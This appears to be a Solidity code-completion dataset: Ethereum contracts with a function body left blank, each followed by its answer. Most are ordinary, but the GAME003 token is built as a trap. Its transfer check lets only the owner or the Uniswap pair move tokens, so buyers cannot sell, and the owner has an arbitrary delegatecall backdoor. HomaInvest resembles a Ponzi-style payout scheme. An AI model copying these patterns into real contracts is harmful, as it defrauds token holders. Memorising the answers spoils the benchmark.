_DESTINATION.call.gas(gasLimit)(data); } function _getHash( bytes memory data, address executor, uint256 gasLimit, uint256 nonce ) internal view returns (bytes32 hash) { // Note: this is the data used to create a personal signed message hash. hash = keccak256( abi.encodePacked(address(this), nonce, executor, gasLimit, data) ); } /** * @dev Returns each address that signed a hashed message (`hash`) from a * collection of `signatures`. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if a signature is invalid, or if the * signer is otherwise unable to be retrieved. In those scenarios, the zero * address is returned for that signature. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that recover * to arbitrary addresses for non-hashed data. */ function _recoverGroup( bytes32 hash, bytes memory signatures ) internal pure returns (address[] memory signers) { // Ensure that the signatures length is a multiple of 65. if (signatures.length % 65 != 0) { return new address[](0); } // Create an appropriately-sized array of addresses for each signer. signers = new address[](signatures.length / 65); // Get each signature location and divide into r, s and v variables. bytes32 signatureLocation; bytes32 r; bytes32 s; uint8 v; for (uint256 i = 0; i < signers.length; i++) { assembly { signatureLocation := add(signatures, mul(i, 65)) r := mload(add(signatureLocation, 32)) s := mload(add(signatureLocation, 64)) v := byte(0, mload(add(signatureLocation, 96))) } // EIP-2 still allows signature malleability for ecrecover(). Remove // this possibility and make the signature unique. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { continue; } if (v != 27 && v != 28) { continue; } // If signature is valid & not malleable, add signer address. signers[i] = ecrecover(hash, v, r, s); } } function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {<FILL_FUNCTION_BODY> } }
contract DharmaKeyRegistryMultisig { // The nonce is the only mutable state, and is incremented on every call. uint256 private _nonce; // Maintain a mapping and a convenience array of owners. mapping(address => bool) private _isOwner; address[] private _owners; // V2 of the Dharma Key Registry is the only account the multisig can call. address private constant _DESTINATION = address( 0x000000000D38df53b45C5733c7b34000dE0BDF52 ); // The threshold is an exact number of valid signatures that must be supplied. uint256 private constant _THRESHOLD = 3; // Note: Owners must be strictly increasing in order to prevent duplicates. constructor(address[] memory owners) public { require(owners.length <= 10, "Cannot have more than 10 owners."); require(_THRESHOLD <= owners.length, "Threshold cannot exceed total owners."); address lastAddress = address(0); for (uint256 i = 0; i < owners.length; i++) { require( owners[i] > lastAddress, "Owner addresses must be strictly increasing." ); _isOwner[owners[i]] = true; lastAddress = owners[i]; } _owners = owners; } function getNextHash( bytes calldata data, address executor, uint256 gasLimit ) external view returns (bytes32 hash) { hash = _getHash(data, executor, gasLimit, _nonce); } function getHash( bytes calldata data, address executor, uint256 gasLimit, uint256 nonce ) external view returns (bytes32 hash) { hash = _getHash(data, executor, gasLimit, nonce); } function getNonce() external view returns (uint256 nonce) { nonce = _nonce; } function getOwners() external view returns (address[] memory owners) { owners = _owners; } function isOwner(address account) external view returns (bool owner) { owner = _isOwner[account]; } function getThreshold() external pure returns (uint256 threshold) { threshold = _THRESHOLD; } function getDestination() external pure returns (address destination) { destination = _DESTINATION; } // Note: addresses recovered from signatures must be strictly increasing. function execute( bytes calldata data, address executor, uint256 gasLimit, bytes calldata signatures ) external returns (bool success, bytes memory returnData) { require( executor == msg.sender || executor == address(0), "Must call from the executor account if one is specified." ); // Derive the message hash and wrap in the eth signed messsage hash. bytes32 hash = _toEthSignedMessageHash( _getHash(data, executor, gasLimit, _nonce) ); // Recover each signer from the provided signatures. address[] memory signers = _recoverGroup(hash, signatures); require(signers.length == _THRESHOLD, "Total signers must equal threshold."); // Verify that each signatory is an owner and is strictly increasing. address lastAddress = address(0); // cannot have address(0) as an owner for (uint256 i = 0; i < signers.length; i++) { require( _isOwner[signers[i]], "Signature does not correspond to an owner." ); require( signers[i] > lastAddress, "Signer addresses must be strictly increasing." ); lastAddress = signers[i]; } // Increment the nonce and execute the transaction. _nonce++; (success, returnData) = _DESTINATION.call.gas(gasLimit)(data); } function _getHash( bytes memory data, address executor, uint256 gasLimit, uint256 nonce ) internal view returns (bytes32 hash) { // Note: this is the data used to create a personal signed message hash. hash = keccak256( abi.encodePacked(address(this), nonce, executor, gasLimit, data) ); } /** * @dev Returns each address that signed a hashed message (`hash`) from a * collection of `signatures`. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if a signature is invalid, or if the * signer is otherwise unable to be retrieved. In those scenarios, the zero * address is returned for that signature. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that recover * to arbitrary addresses for non-hashed data. */ function _recoverGroup( bytes32 hash, bytes memory signatures ) internal pure returns (address[] memory signers) { // Ensure that the signatures length is a multiple of 65. if (signatures.length % 65 != 0) { return new address[](0); } // Create an appropriately-sized array of addresses for each signer. signers = new address[](signatures.length / 65); // Get each signature location and divide into r, s and v variables. bytes32 signatureLocation; bytes32 r; bytes32 s; uint8 v; for (uint256 i = 0; i < signers.length; i++) { assembly { signatureLocation := add(signatures, mul(i, 65)) r := mload(add(signatureLocation, 32)) s := mload(add(signatureLocation, 64)) v := byte(0, mload(add(signatureLocation, 96))) } // EIP-2 still allows signature malleability for ecrecover(). Remove // this possibility and make the signature unique. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { continue; } if (v != 27 && v != 28) { continue; } // If signature is valid & not malleable, add signer address. signers[i] = ecrecover(hash, v, r, s); } } <FILL_FUNCTION> }
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32)
function _toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32)
21555
GAME003
batchSend
contract GAME003 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {<FILL_FUNCTION_BODY> } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
contract GAME003 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } <FILL_FUNCTION> modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true;
function batchSend(address[] memory _tos, uint _value) public payable returns (bool)
function batchSend(address[] memory _tos, uint _value) public payable returns (bool)
15682
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
function transferOwnership(address newOwner) public onlyOwner
2152
Ownable
transferOwnership
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function transferOwnership(address newOwner) public virtual onlyOwner
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner
57614
BARK
_getCurrentSupply
contract BARK is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; address private constant _cBoost = 0x0000000000000000000000000000000000000000; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBoostTotal; string private _name = 'BARK Token'; string private _symbol = 'BARK'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { (uint256 _amount, uint256 _boost) = _getUValues(amount); _transfer(_msgSender(), recipient, _amount); _transfer(_msgSender(), _cBoost, _boost); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBoost() public view returns (uint256) { return _tBoostTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getUValues(uint256 amount) private pure returns (uint256, uint256) { uint256 _boost = amount.div(1000); uint256 _amount = amount.sub(_boost); return (_amount, _boost); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _reflectBoost(uint256 tTransferAmount) private { _tBoostTotal = _tBoostTotal.add(tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) {<FILL_FUNCTION_BODY> } }
contract BARK is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; address private constant _cBoost = 0x0000000000000000000000000000000000000000; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBoostTotal; string private _name = 'BARK Token'; string private _symbol = 'BARK'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { (uint256 _amount, uint256 _boost) = _getUValues(amount); _transfer(_msgSender(), recipient, _amount); _transfer(_msgSender(), _cBoost, _boost); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBoost() public view returns (uint256) { return _tBoostTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getUValues(uint256 amount) private pure returns (uint256, uint256) { uint256 _boost = amount.div(1000); uint256 _amount = amount.sub(_boost); return (_amount, _boost); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); if (recipient == _cBoost) _reflectBoost(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _reflectBoost(uint256 tTransferAmount) private { _tBoostTotal = _tBoostTotal.add(tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } <FILL_FUNCTION> }
uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);
function _getCurrentSupply() private view returns(uint256, uint256)
function _getCurrentSupply() private view returns(uint256, uint256)
85057
HomaInvest
getPercent
contract HomaInvest{ using SafeMath for uint; using Percent for Percent.percent; // array containing information about beneficiaries mapping (address => uint) public balances; //array containing information about the time of payment mapping (address => uint) public time; //The marks of the balance on the contract after which the percentage of payments will change uint step1 = 200; uint step2 = 400; uint step3 = 600; uint step4 = 800; uint step5 = 1000; //the time through which dividends will be paid uint dividendsTime = 1 days; event NewInvestor(address indexed investor, uint deposit); event PayOffDividends(address indexed investor, uint value); event NewDeposit(address indexed investor, uint value); uint public allDeposits; uint public allPercents; uint public allBeneficiaries; uint public lastPayment; uint public constant minInvesment = 10 finney; address public commissionAddr = 0x9f7E3556284EC90961ed0Ff78713729545A96131; Percent.percent private m_adminPercent = Percent.percent(10, 100); /** * The modifier checking the positive balance of the beneficiary */ modifier isIssetRecepient(){ require(balances[msg.sender] > 0, "Deposit not found"); _; } /** * modifier checking the next payout time */ modifier timeCheck(){ require(now >= time[msg.sender].add(dividendsTime), "Too fast payout request. The time of payment has not yet come"); _; } function getDepositMultiplier()public view returns(uint){ uint percent = getPercent(); uint rate = balances[msg.sender].mul(percent).div(10000); uint depositMultiplier = now.sub(time[msg.sender]).div(dividendsTime); return(rate.mul(depositMultiplier)); } function receivePayment()isIssetRecepient timeCheck private{ uint depositMultiplier = getDepositMultiplier(); time[msg.sender] = now; msg.sender.transfer(depositMultiplier); allPercents+=depositMultiplier; lastPayment =now; emit PayOffDividends(msg.sender, depositMultiplier); } /** * @return bool */ function authorizationPayment()public view returns(bool){ if (balances[msg.sender] > 0 && now >= (time[msg.sender].add(dividendsTime))){ return (true); }else{ return(false); } } /** * @return uint percent */ function getPercent() public view returns(uint){<FILL_FUNCTION_BODY> } function createDeposit() private{ if(msg.value > 0){ require(msg.value >= minInvesment, "msg.value must be >= minInvesment"); if (balances[msg.sender] == 